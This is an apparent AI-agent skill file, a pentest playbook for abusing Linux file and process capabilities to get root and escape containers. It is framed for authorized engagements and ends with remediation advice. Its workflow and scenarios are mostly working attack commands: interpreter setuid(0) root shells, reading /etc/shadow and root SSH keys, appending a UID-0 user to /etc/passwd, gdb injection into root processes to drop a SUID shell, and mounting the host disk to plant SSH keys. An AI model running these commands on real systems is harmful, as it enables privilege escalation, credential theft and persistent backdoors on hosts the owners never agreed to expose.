exploiting-linux-capabilities
$
npx mdskill add xalgord/xalgorix/exploiting-linux-capabilities- During authorized local privilege escalation when a user shell is obtained on a Linux host - When linpeas/LinEnum flags binaries carrying file capabilities - When assessing a container's effective capability set for escape potential - When a custom or third-party binary has `setcap` applied (common with packet sniffers, web servers, language interpreters) - Any time SUID enumeration comes up empty but `getcap -r /` shows interesting capabilities
SKILL.md
.github/skills/exploiting-linux-capabilitiesView on GitHub ↗
---
name: exploiting-linux-capabilities
description: Enumerating and abusing Linux capabilities (file and process) for local privilege escalation and container
escape during authorized engagements, covering cap_setuid, cap_dac_read_search/override, cap_sys_admin, cap_sys_ptrace,
cap_dac_override, cap_chown and ambient capability abuse.
domain: cybersecurity
subdomain: linux-hardening
tags:
- penetration-testing
- linux
- capabilities
- privilege-escalation
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Exploiting Linux Capabilities
## When to Use
- During authorized local privilege escalation when a user shell is obtained on a Linux host
- When linpeas/LinEnum flags binaries carrying file capabilities
- When assessing a container's effective capability set for escape potential
- When a custom or third-party binary has `setcap` applied (common with packet sniffers, web servers, language interpreters)
- Any time SUID enumeration comes up empty but `getcap -r /` shows interesting capabilities
## Critical: Techniques Most Often Missed
Most testers run `getcap -r /` once, recognize `cap_net_raw` on `ping`, and move on. Capabilities on interpreters and "capability-dumb" binaries are the real wins.
- **cap_setuid on an interpreter = instant root.** A python/perl/ruby/node binary with `cap_setuid+ep` can call `setuid(0)` then spawn a shell.
- How to CONFIRM: `getcap -r / 2>/dev/null | grep -i setuid`, then `python3 -c 'import os; os.setuid(0); os.system("id")'` returns `uid=0`.
- **cap_dac_read_search / cap_dac_override bypass file permissions.** `read_search` reads any file (e.g. `/etc/shadow`, SSH keys); `override` also writes.
- How to CONFIRM: with the capable binary, read a file you normally cannot — `tar`/`python` reading `/etc/shadow` succeeds while `cat /etc/shadow` is denied.
- **cap_sys_admin in a container = host disk mount.** Lets you `mount` the host block device and `chroot` to it.
- How to CONFIRM: inside the container `capsh --print | grep sys_admin`; then `fdisk -l` lists host disks and `mount /dev/sda1 /mnt` succeeds.
- **cap_sys_ptrace = inject into a root process.** Attach to a root-owned PID and run shellcode or `call system(...)` via gdb.
- How to CONFIRM: `gdb -p <root_pid>` then `call (void)system("id")`; the action runs as the target's uid.
- **Empty-capability SUID-root trick.** A non-root binary with no SUID bit but `getcap` showing `=ep` (empty) still runs as root per the capabilities man page.
- How to CONFIRM: `getcap binary` returns `binary =ep`; executing it yields `uid=0` despite no `-rwsr` bit.
- **Ambient capabilities passed via environment.** Capability-dumb binaries accept ambient caps granted by a wrapper and run privileged operations.
- How to CONFIRM: inside the wrapper-spawned shell, `capsh --print` shows caps in the `Current:` set that a normal user never has.
## Workflow
### Step 1: Read Your Own Capability Sets
```bash
# Capabilities of the current process / shell
cat /proc/$$/status | grep Cap
capsh --print # decoded, human-readable
capsh --decode=0000003fffffffff # decode a raw hex mask
# Cap sets meaning:
# CapInh inherited | CapPrm permitted | CapEff effective
# CapBnd bounding | CapAmb ambient
```
### Step 2: Hunt File Capabilities System-Wide
```bash
# The primary discovery command — run early in every engagement
getcap -r / 2>/dev/null
# Inspect a specific running process or binary
getpcaps <pid>
getcap /usr/bin/python3.11
# High-value strings to grep for in the output
getcap -r / 2>/dev/null | grep -Ei 'setuid|dac_read|dac_override|sys_admin|sys_ptrace|chown|fowner|net_raw'
```
### Step 3: Exploit the Capability Found
```bash
# cap_setuid -> root shell (interpreters)
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'
node -e 'process.setuid(0); require("child_process").execSync("/bin/bash",{stdio:"inherit"})'
# cap_dac_read_search -> read any file (e.g. shadow, root SSH key)
python3 -c 'print(open("/etc/shadow").read())'
./tar -cvf /dev/stdout /etc/shadow | tar -xO
# cap_dac_override -> overwrite any file (e.g. add a root user / sudoers)
python3 -c 'open("/etc/passwd","a").write("r00t:x:0:0::/root:/bin/bash\n")'
# cap_chown -> take ownership of a sensitive file then edit it
./chown $(id -u) /etc/shadow
# cap_sys_ptrace -> hijack a root process with gdb
gdb -p $(pgrep -u root -n .) -batch \
-ex 'call (void)system("cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash")'
/tmp/rootbash -p # -p preserves euid=0
```
### Step 4: cap_sys_admin Container Escape (mount host disk)
```bash
capsh --print | grep -q sys_admin && echo "SYS_ADMIN present"
fdisk -l # identify host block device, e.g. /dev/sda1
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host # mount the host filesystem
chroot /mnt/host /bin/bash # shell on the host FS
# Or write a backdoor user / SSH key into /mnt/host/root/.ssh/authorized_keys
```
### Step 5: Abuse Ambient Capabilities (capability-dumb binaries)
```bash
# Build a wrapper that raises ambient caps then execs a target binary.
# (ambient.c from the capabilities reference; needs libcap-ng)
gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
# Inside the spawned bash:
capsh --print # Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **CapEff / CapPrm / CapInh** | Effective (active), Permitted (max attainable), Inherited (passed to children) sets |
| **CapBnd / CapAmb** | Bounding set (lifetime ceiling) and Ambient set (preserved across `execve`) |
| **File capabilities** | Caps stored in a binary's extended attributes via `setcap`; `+ep` = effective+permitted |
| **cap_setuid** | Lets a process call `setuid(0)` — equivalent to root on an interpreter |
| **cap_dac_read_search / cap_dac_override** | Bypass file read (and write) permission checks |
| **cap_sys_admin** | Near-root; allows `mount`, namespace ops — primary container escape primitive |
| **cap_sys_ptrace** | Attach to and inject code into other processes, including root-owned ones |
| **Capability-dumb binary** | A binary unaware of caps that still performs privileged ops with granted caps |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **capsh** | Print/decode/drop capabilities (`capsh --print`, `--decode=`, `--drop=`) |
| **getcap / setcap** | Query and set file capabilities (`getcap -r /`, `setcap cap_x+ep`) |
| **getpcaps** | Show capabilities of a running process by PID |
| **linpeas / LinEnum** | Automated enumeration that flags capability-bearing binaries |
| **GTFOBins** | Lookup of capability/SUID escape one-liners per binary |
| **amicontained** | Reports the effective capability set inside a container |
| **gdb** | Attach to and execute code in root processes when cap_sys_ptrace is present |
## Common Scenarios
### Scenario 1: Python with cap_setuid
`getcap -r /` reveals `/usr/bin/python3 = cap_setuid+ep`. Running `python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'` yields an immediate root shell.
### Scenario 2: tar/cat with cap_dac_read_search
A backup binary carries `cap_dac_read_search+ep` so an operator can back up files. The tester uses it to read `/etc/shadow` and `/root/.ssh/id_rsa`, then cracks/uses the credentials offline.
### Scenario 3: Container with SYS_ADMIN
`capsh --print` inside a CI runner container shows `cap_sys_admin`. Mounting `/dev/sda1` and chrooting writes an SSH key into the host's `/root`, achieving host compromise.
### Scenario 4: cap_sys_ptrace privesc
A monitoring agent binary has `cap_sys_ptrace+ep`. Attaching gdb to a root-owned `cron` process and calling `system()` drops a SUID root shell at `/tmp/rootbash`.
## Output Format
```
## Linux Capability Abuse Finding
**Vulnerability**: Privilege Escalation via File Capability
**Severity**: High / Critical
**Affected Binary**: /usr/bin/python3.11 = cap_setuid+ep
### Discovery
$ getcap -r / 2>/dev/null
/usr/bin/python3.11 = cap_setuid+ep
### Exploitation
$ /usr/bin/python3.11 -c 'import os; os.setuid(0); os.system("id")'
uid=0(root) gid=1000(user) groups=1000(user)
### Impact
Any local user can become root. On a container, equivalent caps
(cap_sys_admin) allow mounting the host disk and full host takeover.
### Recommendation
1. Remove the capability: setcap -r /usr/bin/python3.11
2. Never grant cap_setuid/cap_sys_admin/cap_dac_* to interpreters or shells
3. Apply least privilege; for containers drop ALL then add only required caps
(docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE ...)
4. Audit regularly with `getcap -r /` and alert on changes
```